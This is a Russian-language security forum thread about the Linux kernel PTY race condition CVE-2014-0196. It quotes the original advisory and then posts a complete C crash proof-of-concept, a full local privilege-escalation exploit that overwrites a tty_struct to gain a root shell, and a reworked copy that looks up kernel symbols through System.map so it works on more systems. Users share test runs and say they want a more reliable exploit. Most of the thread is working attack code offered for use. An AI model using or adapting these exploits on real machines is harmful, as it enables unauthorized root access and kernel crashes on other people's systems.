Старый 07.05.2014, 03:56   #1
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию CVE-2014-0196: Linux kernel pty layer race condition memory corruption

показалось интересным

Цитата:
On Mon, May 5, 2014 at 6:08 PM, Marcus Meissner <meissner () suse de> wrote:
Hi,

SUSE customer Ericsson reported a kernel crash to us which turned out
to be a race condition in the PTY write buffer handling.

When two processes/threads write to the same pty, the buffer end could
be overwritten and so memory corruption into adjacent buffers could lead
to crashes / code execution.

Jiri Slaby and Peter Hurley localized and fixed this problem.

CVE-2014-0196 has been assigned to this issue.

Jiri thinks this was introduced during 2.6.31 development by
d945cb9cce20ac7143c2de8d88b187f62db99bdc (pty: Rework the pty
layer to use the normal buffering logic) in 2.6.31-rc3. Until then, pty
was writing directly to a line discipline without using buffers.

https://bugzilla.novell.com/show_bug.cgi?id=875690

Patch is also attached.

Ciao, Marcus
Patch:
http://seclists.org/oss-sec/2014/q2/att-243/n_tty-Fix-n_tty_write-crash-when-echoing-in-raw-mode.patch

Crash POC:
http://pastebin.com/yTSFUBgZ

POC code:
Код:
/* CVE-2014-0196 DOS PoC [Written May 5th, 2014]
 *    by DigitalCold <digitalcold0@gmail.com>
 *
 * Note: this crashes my i686 Gentoo system running 3.12.14
 * and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain
 * code exec would be greatly appreciated.
 *
 * Usage: gcc -O2 -o pty pty.c -lutil && ./pty
 *
 * CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html
 * Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355
 * How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>

#include <pty.h>
#include <termios.h>
#include <fcntl.h>

// used to sync the two writer processes
volatile static int * Sync = NULL;

int main() {
  int master, res;
  struct termios tp;

  Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE, 
                MAP_SHARED | MAP_ANONYMOUS, -1, 0);

  if(Sync == MAP_FAILED)
  {
    perror("Sync mmap");
    exit(1);
  }

  // hold
  *Sync = 0;

  // create a child with a new PTY connection
  pid_t child = forkpty(&master, NULL, NULL, NULL);

  if(child == -1) {
    perror("forkpty");
    exit(1);
  } 
  // parent
  else if(child > 0) {
    printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child);
    printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child);
    printf("[+] Starting bombing run...\n");

    int flags = fcntl(master, F_GETFL, 0);
    fcntl(master, F_SETFL, flags | O_NONBLOCK);

    // synchronizer process
    int doSync = fork();

    if(!doSync) { // child
      // sync the two processes (CLK)
      while(1) {
        sleep(1);
        *Sync = 1; // release
        sleep(1);
        *Sync = 0;
      }
    }
    else if(doSync < 0)
    {
      perror("sync fork");
      exit(1);
    }

    // used for printing status
    int cnt = 0;
    char readBuf[256<<3];

    while(1) {
      while(!*Sync) usleep(1000);
      if(write(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master write");
          exit(1);
        }
      }
      
      // shovel the input 
      if(read(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master read");
          exit(1);
        }
      }

      if(cnt >= 200000) {
        fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n");
        exit(1);
      }
      else if(cnt++ % 200 == 0)
        fprintf(stderr, ".");
    }
  } 
  else { // child
    char discard[1024];

    if(tcgetattr(0, &tp) == -1)
        perror("tcgetattr");

    // enable raw mode with ECHO to trigger the bug
    cfmakeraw(&tp);
    tp.c_lflag |=  ECHO;

    if(tcsetattr(0, TCSAFLUSH, &tp) == -1)
        perror("tcsetattr");

    // make stdin and stdout non-blocking
    int flags = fcntl(0, F_GETFL, 0);
    fcntl(0, F_SETFL, flags | O_NONBLOCK);
    flags = fcntl(1, F_GETFL, 0);
    fcntl(1, F_SETFL, flags | O_NONBLOCK);

    // construct a lengthy crash string
    size_t badStrSz = 256<<2;
    char * badStr = malloc(badStrSz);
    int i;

    for(i = 0; i < badStrSz; i++)
      badStr[i] = 'A';

    // slave loop
    while(1) {
      while(!*Sync) usleep(1000);
      if(write(1, badStr, badStrSz) < 0)
        if(errno != EAGAIN)
          exit(1);

      // eat the incoming data
      if(read(0, discard, sizeof discard) < 0)
        if(errno != EAGAIN)
          exit(1);
    }
  }

  return 0;
}
кастую SynQ в этот тред
12309 вне форума   Ответить с цитированием
Старый 07.05.2014, 11:32   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Во вчерашнем 3.14.3 не закрыто. Эксплойт наверно скоро зарелизят.
SynQ вне форума   Ответить с цитированием
Старый 12.05.2014, 14:06   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Подоспел эксплойт для ограниченного количества 64-битных систем:
http://bugfuzz.com/stuff/cve-2014-0196-md.c

Эксплойт только для ядер 3.14 и 3.15

Код:
/*
 * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels >= v3.14-rc1
 *
 * Matthew Daley <mattd@bugfuzz.com>
 *
 * Usage: 
 *   $ gcc cve-2014-0196-md.c -lutil -lpthread
 *   $ ./a.out
 *   [+] Resolving symbols
 *   [+] Resolved commit_creds: 0xffffffff81056694
 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *   [+] Doing once-off allocations
 *   [+] Attempting to overflow into a tty_struct...............
 *   [+] Got it :)
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
 * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
 * exploit relies on.
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
	int counter;
} atomic_t;

struct kref {
	atomic_t refcount;
};

struct tty_struct_header {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
	commit_creds(prepare_kernel_cred(0));

	return 0;
}

unsigned long get_symbol(char *target_name) {
	FILE *f;
	unsigned long addr;
	char dummy;
	char name[256];
	int ret = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL)
		return 0;

	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
		if (ret == 0) {
			fscanf(f, "%s\n", name);
			continue;
		}

		if (!strcmp(name, target_name)) {
			printf("[+] Resolved %s: %p\n", target_name, (void *)addr);

			fclose(f);
			return addr;
		}
	}

	printf("[-] Couldn't resolve \"%s\"\n", name);

	fclose(f);
	return 0;
}

void *overwrite_thread_fn(void *p) {
	write(slave_fd, buf, 511);

	write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
	write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
	char scratch[1024] = {0};
	void *tty_operations[64];
	int i, temp_fd_1, temp_fd_2;

	for (i = 0; i < 64; ++i)
		tty_operations[i] = payload;

	overwrite.magic                 = TTY_MAGIC;
	overwrite.kref.refcount.counter = 0x1337;
	overwrite.dev                   = (struct device *)scratch;
	overwrite.driver                = (struct tty_driver *)scratch;
	overwrite.ops                   = (struct tty_operations *)tty_operations;

	puts("[+] Resolving symbols");

	commit_creds = (commit_creds_fn)get_symbol("commit_creds");
	prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
	if (!commit_creds || !prepare_kernel_cred)
		return 1;

	puts("[+] Doing once-off allocations");

	for (i = 0; i < ONEOFF_ALLOCS; ++i)
		if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
			puts("[-] pty creation failed");
			return 1;
		}

	printf("[+] Attempting to overflow into a tty_struct...");
	fflush(stdout);

	for (i = 0; ; ++i) {
		struct termios t;
		int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
		pthread_t overwrite_thread;

		if (!(i & 0xfff)) {
			putchar('.');
			fflush(stdout);
		}

		if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
			puts("\n[-] pty creation failed");
			return 1;
		}

		for (j = 0; j < RUN_ALLOCS; ++j)
			if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
				puts("\n[-] pty creation failed");
				return 1;
			}

		close(fds[RUN_ALLOCS / 2]);
		close(fds2[RUN_ALLOCS / 2]);

		write(slave_fd, buf, 1);

		tcgetattr(master_fd, &t);
		t.c_oflag &= ~OPOST;
		t.c_lflag |= ECHO;
		tcsetattr(master_fd, TCSANOW, &t);

		if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
			puts("\n[-] Overwrite thread creation failed");
			return 1;
		}
		write(master_fd, "A", 1);
		pthread_join(overwrite_thread, NULL);

		for (j = 0; j < RUN_ALLOCS; ++j) {
			if (j == RUN_ALLOCS / 2)
				continue;

			ioctl(fds[j], 0xdeadbeef);
			ioctl(fds2[j], 0xdeadbeef);

			close(fds[j]);
			close(fds2[j]);
		}

		ioctl(master_fd, 0xdeadbeef);
		ioctl(slave_fd, 0xdeadbeef);

		close(master_fd);
		close(slave_fd);

		if (!setresuid(0, 0, 0)) {
			setresgid(0, 0, 0);

			puts("\n[+] Got it :)");
			execl("/bin/bash", "/bin/bash", NULL);
		}
	}
}

Последний раз редактировалось SynQ; 14.05.2014 в 12:51..
SynQ вне форума   Ответить с цитированием
Старый 12.05.2014, 21:19   #4
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

так как в зузе /proc/kallsyms выглядит примерно так
Код:
. . . 
0000000000000000 t noop_wakeup_secondary_cpu
0000000000000000 t noop_safe_apic_wait_icr_idle
0000000000000000 t noop_apic_icr_read
0000000000000000 t noop_phys_pkg_id
0000000000000000 t noop_get_apic_id
0000000000000000 t noop_probe
0000000000000000 t noop_apic_id_registered
0000000000000000 t noop_target_cpus
0000000000000000 t flat_cpu_mask_to_apicid_and
0000000000000000 t noop_check_apicid_present
0000000000000000 t noop_check_apicid_used
0000000000000000 t noop_apic_write
0000000000000000 t noop_apic_read
0000000000000000 t noop_vector_allocation_domain
0000000000000000 t physid_set_mask_of_physid
0000000000000000 T default_send_IPI_mask_sequence_phys
0000000000000000 T default_send_IPI_mask_allbutself_phys
0000000000000000 T hw_nmi_get_sample_period
0000000000000000 T arch_trigger_all_cpu_backtrace
0000000000000000 t read_apic_id
0000000000000000 t __ioapic_read_entry
0000000000000000 t __ioapic_write_entry
0000000000000000 t __io_apic_modify_irq
0000000000000000 t io_apic_sync
0000000000000000 t __unmask_ioapic
0000000000000000 t mask_lapic_irq
0000000000000000 t unmask_lapic_irq
0000000000000000 t ack_lapic_irq
0000000000000000 t irq_polarity
0000000000000000 t irq_trigger
0000000000000000 t pin_2_irq
0000000000000000 t ioapic_read_entry
0000000000000000 T save_ioapic_entries
0000000000000000 t ioapic_write_entry
0000000000000000 t mask_ioapic
0000000000000000 t mask_ioapic_irq
. . .
то скопировал из enlightenment функцию для доставания символов из System.map.
в результате:
Код:
19:04:05 /dev/shm> ./a.out 
[+] Resolving symbols
 [+] Resolved commit_creds to 0xffffffff81077cd0 (via System.map)
 [+] Resolved prepare_kernel_cred to 0xffffffff81077fa0 (via System.map)
[+] Doing once-off allocations
[+] Attempting to overflow into a tty_struct................................................................................................................................................................................................................................................................
надоело ждать, остановил.
в процессе работы нагрузка на cpu была ~90%, и сгенерилось дохрена pty с постоянно меняющимися номерами, максимально 242
Код:
19:16:58 /dev/shm> ls -C1 /dev/pts/|sort -n | tail -n 5
235
236
237
238
242
19:16:59 /dev/shm> ls -C1 /dev/pts/|sort -n | tail -n 5
226
227
228
229
242
19:16:59 /dev/shm> ls -C1 /dev/pts/|sort -n | tail -n 5
238
239
240
241
242
ждём более надёжного эксплоита
12309 вне форума   Ответить с цитированием
Старый 12.05.2014, 21:22   #5
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

centos 6.5 2.6.32-431.17.1.el6.x86_64
то же самое

sh-4.1$ ./a.out
[+] Resolving symbols
[+] Resolved commit_creds to 0xffffffff810a2b30 (via System.map)
[+] Resolved prepare_kernel_cred to 0xffffffff810a2db0 (via System.map)
[+] Doing once-off allocations
[+] Attempting to overflow into a tty_struct........................................ .................................................. ....................................^C
12309 вне форума   Ответить с цитированием
Старый 13.05.2014, 11:11   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

центось 6 неуязвима.
на лоре/опеннете есть репорты, пробивает в основном арч.
SynQ вне форума   Ответить с цитированием
Старый 13.05.2014, 20:45   #7
m0Hze
 
Аватар для m0Hze
 
Регистрация: 05.07.2010
Сообщений: 326
Репутация: 129
По умолчанию

Дак, я туплю, или в сплойте просто так указано, что бьет только ядра >= v3.14-rc1? Зачем же его тестить на более низких версиях? + 1 из 4 серверов вешает, как говорят в комментах на хабре.
__________________
multi-vpn.biz - Первый VPN на Эллиптических кривых со скоростью света.
m0Hze вне форума   Ответить с цитированием
Старый 13.05.2014, 21:50   #8
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

на всякий случай выложу то, что сказал 12309 для тех, кто хочет получить адреса символов через System.map, для тестов, а то на хабре у них пишет

Цитата:
[+] Resolved commit_creds: (nil)
[+] Resolved prepare_kernel_cred: (nil)
а ответы из серии "ядро не то и прочее" - как дети

Код:
/*
 * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels >= v3.14-rc1
 *
 * Pashkela's edition: get symbols via System.map 
 * can't read System.map? Put it near to exploit, file name is "System.map"
 *
 * Matthew Daley <mattd@bugfuzz.com>
 *
 * Usage: 
 *  variant1:  $ gcc cve-2014-0196-md.c -lutil -lpthread
 *
 *   $ ./a.out
 *   [+] Resolving symbols
 *   [+] Resolved commit_creds: 0xffffffff81056694
 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *   [+] Doing once-off allocations
 *   [+] Attempting to overflow into a tty_struct...............
 *   [+] Got it :)
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
 * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
 * exploit relies on.
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>


#include <sys/utsname.h>


#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
	int counter;
} atomic_t;

struct kref {
	atomic_t refcount;
};

struct tty_struct_header {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
	commit_creds(prepare_kernel_cred(0));

	return 0;
}

static int requires_symbols_to_trigger;
static int kallsyms_is_hidden;
unsigned long get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	if (kallsyms_is_hidden)
		goto fallback;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname) && addr) {
			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		} else if (!strcmp(name, sname)) {
			kallsyms_is_hidden = 1;
		}
	}

	fclose(f);
	if (rep == 2)
		return 0;
	else if (rep == 1)
		goto fallback2;
fallback:
	/* didn't find the symbol, let's retry with the System.map
	   dedicated to the pointlessness of Russell Coker's SELinux
	   test machine (why does he keep upgrading the kernel if
	   "all necessary security can be provided by SE Linux"?)
	*/
	uname(&ver);
	if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		goto fallback2;
	rep = 1;
	goto repeat;
fallback2:
	/* didn't find the symbol, let's retry with the System.map
	   dedicated to the pointlessness of Russell Coker's SELinux
	   test machine (why does he keep upgrading the kernel if
	   "all necessary security can be provided by SE Linux"?)
	*/
	uname(&ver);
	if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
		oldstyle = 1;
	sprintf(sname, "./System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL) {
		sprintf(sname, "./System.map");
		f = fopen(sname, "r");
		if (f == NULL) {
			if (requires_symbols_to_trigger) {
				printf("Unable to acquire kernel symbols.  Copy the appropriate System.map to the current directory.\n");
				exit(1);
			} else
				return 0;
		}
	}
	rep = 2;
	goto repeat;
}

void *overwrite_thread_fn(void *p) {
	write(slave_fd, buf, 511);

	write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
	write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
	char scratch[1024] = {0};
	void *tty_operations[32];
	int i, temp_fd_1, temp_fd_2;

	for (i = 0; i < 64; ++i)
		tty_operations[i] = payload;

	overwrite.magic                 = TTY_MAGIC;
	overwrite.kref.refcount.counter = 0x1337;
	overwrite.dev                   = (struct device *)scratch;
	overwrite.driver                = (struct tty_driver *)scratch;
	overwrite.ops                   = (struct tty_operations *)tty_operations;

	puts("[+] Resolving symbols");

	commit_creds = (commit_creds_fn)get_symbol("commit_creds");
	prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
	if (!commit_creds || !prepare_kernel_cred)
		return 1;

	puts("[+] Doing once-off allocations");

	for (i = 0; i < ONEOFF_ALLOCS; ++i)
		if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
			puts("[-] pty creation failed");
			return 1;
		}

	printf("[+] Attempting to overflow into a tty_struct...");
	fflush(stdout);

	for (i = 0; ; ++i) {
		struct termios t;
		int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
		pthread_t overwrite_thread;

		if (!(i & 0xfff)) {
			putchar('.');
			fflush(stdout);
		}

		if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
			puts("\n[-] pty creation failed");
			return 1;
		}

		for (j = 0; j < RUN_ALLOCS; ++j)
			if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
				puts("\n[-] pty creation failed");
				return 1;
			}

		close(fds[RUN_ALLOCS / 2]);
		close(fds2[RUN_ALLOCS / 2]);

		write(slave_fd, buf, 1);

		tcgetattr(master_fd, &t);
		t.c_oflag &= ~OPOST;
		t.c_lflag |= ECHO;
		tcsetattr(master_fd, TCSANOW, &t);

		if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
			puts("\n[-] Overwrite thread creation failed");
			return 1;
		}
		write(master_fd, "A", 1);
		pthread_join(overwrite_thread, NULL);

		for (j = 0; j < RUN_ALLOCS; ++j) {
			if (j == RUN_ALLOCS / 2)
				continue;

			ioctl(fds[j], 0xdeadbeef);
			ioctl(fds2[j], 0xdeadbeef);

			close(fds[j]);
			close(fds2[j]);
		}

		ioctl(master_fd, 0xdeadbeef);
		ioctl(slave_fd, 0xdeadbeef);

		close(master_fd);
		close(slave_fd);

		if (!setresuid(0, 0, 0)) {
			setresgid(0, 0, 0);

			puts("\n[+] Got it :)");
			execl("/bin/bash", "/bin/bash", NULL);
		}
	}
}
для тестов

Последний раз редактировалось SynQ; 14.05.2014 в 12:53.. Причина: перенёс тему в другой раздел
Pashkela вне форума   Ответить с цитированием
Старый 14.05.2014, 20:13   #9
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

зря, так хоть какой-то челлендж для детей с хабра был

> центось 6 неуязвима.
я не читал подробности, но подозревал, что баг могли бэкпортировать в 2.6.32 шестой центоси

> Дак, я туплю, или в сплойте просто так указано, что бьет только ядра >= v3.14-rc1? Зачем же его тестить на более низких версиях?
вдруг пробьёт уязвимость есть начиная с 2.6.31-rcкакойто
12309 вне форума   Ответить с цитированием
Старый 14.05.2014, 20:44   #10
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
зря, так хоть какой-то челлендж для детей с хабра был
В целом тоже за челендж, но мне дороже всегда истина была, и свобода информации. А также провоцирование появления новых сплойтов, чтобы не расслаблялись.

Последний раз редактировалось Pashkela; 16.05.2014 в 21:09..
Pashkela вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot